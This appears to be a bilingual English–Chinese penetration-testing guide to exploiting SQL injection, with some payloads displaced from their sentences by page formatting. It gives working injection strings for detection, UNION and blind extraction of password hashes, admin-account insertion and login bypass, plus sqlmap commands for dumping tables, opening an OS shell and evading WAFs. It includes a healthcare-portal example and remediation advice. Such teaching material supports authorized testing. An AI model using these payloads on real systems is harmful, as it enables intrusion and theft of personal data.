exploiting-sql-injection-vulnerabilities
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseExploiting SQL Injection Vulnerabilities
利用SQL注入漏洞
When to Use
适用场景
- Testing web application input parameters for SQL injection vulnerabilities during an authorized penetration test
- Validating that parameterized queries and input sanitization are properly implemented across all database interactions
- Demonstrating the business impact of a confirmed SQL injection vulnerability by extracting sensitive data
- Verifying that WAF rules and input validation controls effectively block SQL injection payloads
- Testing stored procedures, dynamic SQL, and ORM bypass scenarios in enterprise applications
Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.
- 在授权渗透测试期间,测试Web应用输入参数是否存在SQL注入漏洞
- 验证parameterized queries和输入清理是否在所有数据库交互中正确实现
- 通过提取敏感数据,演示已确认的SQL注入漏洞对业务的影响
- 验证WAF规则和输入验证控制是否能有效阻止SQL注入负载
- 测试企业应用中的存储过程、动态SQL和ORM绕过场景
禁止场景:在未获得书面授权的情况下针对数据库测试;超出概念验证所需范围提取或泄露实际客户数据;针对生产数据库测试,因为利用漏洞可能会破坏数据完整性。
Prerequisites
前提条件
- Written authorization specifying the target application and permissible level of exploitation (detection only vs. full exploitation)
- Burp Suite Professional configured as an intercepting proxy to capture and modify HTTP requests
- sqlmap installed with current version for automated detection and exploitation
- Knowledge of the target database engine (MySQL, PostgreSQL, MSSQL, Oracle) or ability to fingerprint it
- Test accounts at various privilege levels to test injection in authenticated contexts
- 书面授权,明确指定目标应用及允许的利用级别(仅检测 vs 完全利用)
- 配置为拦截代理的Burp Suite Professional,用于捕获和修改HTTP请求
- 安装了最新版本的sqlmap,用于自动化检测和利用
- 了解目标数据库引擎(MySQL、PostgreSQL、MSSQL、Oracle),或具备指纹识别能力
- 不同权限级别的测试账号,用于在已认证场景下测试注入
Workflow
工作流程
Step 1: Injection Point Discovery
步骤1:注入点发现
Identify parameters that interact with the database:
- Map all input vectors: Catalog every parameter in URLs (GET), request bodies (POST), HTTP headers (Cookie, Referer, User-Agent, X-Forwarded-For), and JSON/XML API payloads
- Error-based detection: Inject a single quote () into each parameter and observe the response. SQL errors (e.g., "You have an error in your SQL syntax", "unterminated quoted string", "ORA-01756") confirm the parameter reaches the database unsanitized.
' - Boolean-based detection: Inject (true condition) and
' AND 1=1--(false condition). If the responses differ (different content length, different data returned, different HTTP status), the parameter is injectable.' AND 1=2-- - Time-based detection: Inject (MSSQL),
'; WAITFOR DELAY '0:0:5'--(MySQL), or' AND SLEEP(5)--(PostgreSQL). A 5-second response delay confirms injection.'; SELECT pg_sleep(5)-- - Out-of-band detection: Use payloads that trigger DNS or HTTP requests to a Burp Collaborator domain to confirm injection in scenarios where responses are not directly observable.
- Second-order injection: Test for injection where input is stored and later used in a different SQL query (e.g., username stored at registration, used in a query on the profile page).
识别与数据库交互的参数:
- 映射所有输入向量:记录URL(GET)、请求体(POST)、HTTP头部(Cookie、Referer、User-Agent、X-Forwarded-For)以及JSON/XML API负载中的每个参数
- 基于错误的检测:在每个参数中注入单引号()并观察响应。SQL错误(如"You have an error in your SQL syntax"、"unterminated quoted string"、"ORA-01756")可确认参数未经过清理直接传入数据库
' - 基于布尔的检测:注入(真条件)和
' AND 1=1--(假条件)。如果响应不同(内容长度不同、返回数据不同、HTTP状态码不同),则该参数存在注入可能' AND 1=2-- - 基于时间的检测:注入(MSSQL)、
'; WAITFOR DELAY '0:0:5'--(MySQL)或' AND SLEEP(5)--(PostgreSQL)。响应延迟5秒则确认存在注入'; SELECT pg_sleep(5)-- - 带外检测:使用能触发DNS或HTTP请求到Burp Collaborator域名的负载,在无法直接观察响应的场景下确认注入
- 二阶注入:测试输入被存储后在其他SQL查询中使用的注入场景(如注册时存储的用户名,在个人资料页面的查询中被使用)
Step 2: Database Fingerprinting
步骤2:数据库指纹识别
Determine the database engine and version to select appropriate exploitation techniques:
- Error-based fingerprinting: Each database produces distinctive error messages. MySQL includes "MySQL", MSSQL mentions "SQL Server", PostgreSQL references "PG", Oracle contains "ORA-".
- Function-based fingerprinting: Inject database-specific functions:
- MySQL: or
' AND VERSION()--' AND @@version-- - MSSQL: or
' AND @@version--' AND DB_NAME()-- - PostgreSQL:
' AND version()-- - Oracle:
' AND banner FROM v$version--
- MySQL:
- String concatenation differences: MySQL uses or
CONCAT('a','b'), MSSQL uses'a' 'b', PostgreSQL uses'a'+'b', Oracle uses'a'||'b''a'||'b' - Comment syntax: MySQL supports and
#, MSSQL uses--, PostgreSQL uses--, Oracle uses----
确定数据库引擎和版本,以选择合适的利用技术:
- 基于错误的指纹识别:每个数据库会生成独特的错误信息。MySQL包含"MySQL",MSSQL提及"SQL Server",PostgreSQL引用"PG",Oracle包含"ORA-"
- 基于函数的指纹识别:注入数据库特定函数:
- MySQL: 或
' AND VERSION()--' AND @@version-- - MSSQL: 或
' AND @@version--' AND DB_NAME()-- - PostgreSQL:
' AND version()-- - Oracle:
' AND banner FROM v$version--
- MySQL:
- 字符串拼接差异:MySQL使用或
CONCAT('a','b'),MSSQL使用'a' 'b',PostgreSQL使用'a'+'b',Oracle使用'a'||'b''a'||'b' - 注释语法:MySQL支持和
#,MSSQL使用--,PostgreSQL使用--,Oracle使用----
Step 3: Manual Exploitation Techniques
步骤3:手动利用技术
Exploit confirmed injection points using technique-appropriate methods:
- UNION-based extraction: Determine the number of columns with incrementing (
ORDER BY,' ORDER BY 1--, etc. until an error occurs). Then construct UNION SELECT to extract data:' ORDER BY 2--' UNION SELECT NULL,username,password,NULL FROM users-- - Error-based extraction (MySQL): Use or
EXTRACTVALUEto force data into error messages:UPDATEXML' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- - Blind boolean extraction: Extract data one character at a time by testing character values:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- - Time-based blind extraction: Same character-by-character approach using time delays:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)-- - Stacked queries (where supported): Execute additional SQL statements:
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
使用适合的方法利用已确认的注入点:
- 基于UNION的提取:通过递增子句(
ORDER BY、' ORDER BY 1--等,直到出现错误)确定列数。然后构造UNION SELECT语句提取数据:' ORDER BY 2--' UNION SELECT NULL,username,password,NULL FROM users-- - 基于错误的提取(MySQL):使用或
EXTRACTVALUE将数据强制放入错误信息中:UPDATEXML' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- - 布尔盲注提取:通过测试字符值,逐个字符提取数据:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- - 时间盲注提取:使用时间延迟的逐个字符提取方法:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)-- - 堆叠查询(支持的场景):执行额外的SQL语句:
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
Step 4: Automated Exploitation with sqlmap
步骤4:使用sqlmap进行自动化利用
Use sqlmap for efficient exploitation of confirmed injection points:
- Basic detection: to detect injection and identify the database
sqlmap -u "https://target.com/page?id=1" --batch --random-agent - Extract databases: to list all databases
sqlmap -u "https://target.com/page?id=1" --dbs - Extract tables: to list tables
sqlmap -u "https://target.com/page?id=1" -D <database> --tables - Extract data: to extract table contents
sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 - POST parameters: to test POST parameters
sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username - Cookie injection: to test cookie parameters (mark injectable parameter with *)
sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 - OS command execution (if DB user has sufficient privileges): to attempt command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL)
sqlmap -u "https://target.com/page?id=1" --os-shell - Tamper scripts: to bypass WAF filters
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between
使用sqlmap高效利用已确认的注入点:
- 基础检测:用于检测注入并识别数据库
sqlmap -u "https://target.com/page?id=1" --batch --random-agent - 提取数据库:列出所有数据库
sqlmap -u "https://target.com/page?id=1" --dbs - 提取表:列出表
sqlmap -u "https://target.com/page?id=1" -D <database> --tables - 提取数据:提取表内容
sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 - POST参数:测试POST参数
sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username - Cookie注入:测试Cookie参数(用*标记可注入参数)
sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 - 操作系统命令执行(如果数据库用户有足够权限):尝试通过xp_cmdshell(MSSQL)或INTO OUTFILE(MySQL)执行命令
sqlmap -u "https://target.com/page?id=1" --os-shell - Tamper脚本:绕过WAF过滤
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between
Step 5: Impact Demonstration and Reporting
步骤5:影响演示与报告
Document the full impact of the SQL injection vulnerability:
- Data extraction evidence: Capture screenshots or sqlmap output showing extracted database names, table schemas, and sample records (redact actual PII in the report)
- Authentication bypass: Demonstrate login bypass with and document the bypassed authentication mechanism
admin' OR 1=1-- - Privilege escalation: If the database user has DBA privileges, document what additional capabilities are available (file read/write, command execution)
- Lateral movement potential: Document if the database server has network access to other internal systems that could be reached through OS-level access gained via SQLi
- Remediation: Provide specific code-level fixes showing the vulnerable query and the corrected parameterized version
记录SQL注入漏洞的完整影响:
- 数据提取证据:截取截图或保存sqlmap输出,展示提取的数据库名称、表结构和样本记录(报告中需编辑掉实际的个人可识别信息)
- 身份认证绕过:演示使用绕过登录,并记录被绕过的认证机制
admin' OR 1=1-- - 权限提升:如果数据库用户拥有DBA权限,记录可用的额外功能(文件读写、命令执行)
- 横向移动潜力:记录数据库服务器是否能通过SQLi获得的操作系统级访问权限访问其他内部系统
- 修复建议:提供具体的代码级修复方案,展示易受攻击的查询语句和修正后的参数化版本
Key Concepts
核心概念
| Term | Definition |
|---|---|
| SQL Injection | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |
| Union-Based SQLi | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |
| Blind SQL Injection | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |
| Parameterized Query | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |
| Second-Order Injection | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |
| Stacked Queries | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |
| WAF Bypass | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |
| 术语 | 定义 |
|---|---|
| SQL Injection | 一种代码注入技术,利用SQL查询中未验证的用户输入来操纵数据库操作、提取数据或执行管理操作 |
| Union-Based SQLi | 一种注入技术,通过在原始查询后附加UNION SELECT语句,在同一响应中提取其他表的数据 |
| Blind SQL Injection | 应用不直接返回查询结果的注入方式;攻击者通过布尔响应或时间延迟推断数据 |
| Parameterized Query | 一种预编译SQL语句,用户输入作为参数传递而非拼接进查询字符串,可防止注入 |
| Second-Order Injection | 恶意负载被应用存储后,在其他上下文或后续SQL查询中执行的SQL注入 |
| Stacked Queries | 在单个请求中执行多个以分号分隔的SQL语句,允许通过注入执行INSERT、UPDATE或DELETE操作 |
| WAF Bypass | 规避Web应用防火墙规则的技术,这些规则会阻止常见的SQL注入模式,使用编码、替代语法或分片等方法 |
Tools & Systems
工具与系统
- sqlmap: Automated SQL injection detection and exploitation tool supporting 6 injection techniques across 30+ database management systems
- Burp Suite Professional: HTTP proxy for intercepting, modifying, and replaying requests with SQL injection payloads across all parameter types
- Havij: GUI-based SQL injection tool used for rapid automated exploitation when sqlmap is not available
- jSQL Injection: Java-based SQL injection tool with GUI supporting automatic injection, database extraction, and file read/write
- sqlmap:自动化SQL注入检测和利用工具,支持30+数据库管理系统的6种注入技术
- Burp Suite Professional:HTTP代理,用于拦截、修改和重放包含SQL注入负载的所有类型参数的请求
- Havij:基于GUI的SQL注入工具,当sqlmap不可用时用于快速自动化利用
- jSQL Injection:基于Java的SQL注入工具,带GUI支持自动注入、数据库提取和文件读写
Common Scenarios
常见场景
Scenario: SQL Injection in Healthcare Patient Portal
场景:医疗患者门户中的SQL注入
Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.
Approach:
- Map all parameters in the patient portal; identify that the appointment detail page uses
/appointment?id=4521 - Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
- Use to determine the query returns 7 columns
ORDER BY - Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
- Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
- Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
- Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation
Pitfalls:
- Running sqlmap with default settings against a production database and causing excessive load or data corruption
- Extracting and storing actual patient data during the assessment rather than limiting proof to record counts and schema
- Not testing for second-order injection in stored procedures called by the application
- Failing to test all parameter types (cookies, headers, JSON body) and only testing URL parameters
背景:某医疗机构的患者门户允许患者查看其医疗记录、预约和账单信息。应用使用PHP后端和MySQL数据库。测试人员拥有有效的患者账号。
方法:
- 映射患者门户的所有参数;发现预约详情页使用
/appointment?id=4521 - 在id参数中注入单引号;收到MySQL错误,确认该参数可注入
- 使用确定查询返回7列
ORDER BY - 构造UNION SELECT语句从information_schema中提取表名,发现表:patients、medical_records、billing、admin_users
- 提取admin_users表,获取5个带MD5哈希密码的管理员账号
- 演示通过注入点查询medical_records表可访问所有患者的医疗记录
- 记录可访问15000+条包含PHI(受保护健康信息)的患者记录,违反HIPAA规定
常见陷阱:
- 在生产数据库上使用默认设置运行sqlmap,导致负载过高或数据损坏
- 在评估过程中提取并存储实际患者数据,而非仅限制于记录计数和结构的概念验证
- 未测试应用调用的存储过程中的二阶注入
- 未测试所有参数类型(Cookie、头部、JSON体),仅测试URL参数
Output Format
输出格式
undefinedundefinedFinding: SQL Injection in Appointment Detail Parameter
发现:预约详情参数中的SQL注入
ID: SQLI-001
Severity: Critical (CVSS 9.8)
Affected URL: GET /appointment?id=4521
Parameter: id (GET parameter)
Database: MySQL 8.0.32
Injection Type: Error-based, UNION-based
Description:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.
Proof of Concept:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.
Data Accessible:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)
Remediation:
- Replace string concatenation with parameterized queries: VULNERABLE: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id']; SECURE: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?"); $stmt->execute([$_GET['id']]);
- Implement input validation to reject non-integer values for the id parameter
- Apply least-privilege database permissions (read-only for the web application user)
- Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
undefinedID:SQLI-001
严重程度:关键(CVSS 9.8)
受影响URL:GET /appointment?id=4521
参数:id(GET参数)
数据库:MySQL 8.0.32
注入类型:基于错误、基于UNION
描述:
预约详情页将'id' URL参数直接拼接进SQL查询,未使用参数化或输入验证。这允许攻击者注入任意SQL语句,从数据库的任意表中提取数据。
概念验证:
请求:GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
响应:在页面内容中返回管理员用户名和MD5哈希密码。
可访问数据:
- patients表:15247条记录(姓名、出生日期、社保号、地址、电话)
- medical_records表:43891条记录(诊断结果、处方、实验室结果)
- admin_users表:5个带MD5哈希密码的账号
- billing表:28563条记录(保险详情、支付信息)
修复建议:
- 用parameterized queries替换字符串拼接: 易受攻击代码: $query = "SELECT * FROM appointments WHERE id = " . $_GET['id']; 安全代码: $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?"); $stmt->execute([$_GET['id']]);
- 实现输入验证,拒绝id参数的非整数值
- 应用最小权限数据库权限(Web应用用户仅拥有只读权限)
- 部署WAF规则检测并阻止SQL注入模式,作为纵深防御措施
undefined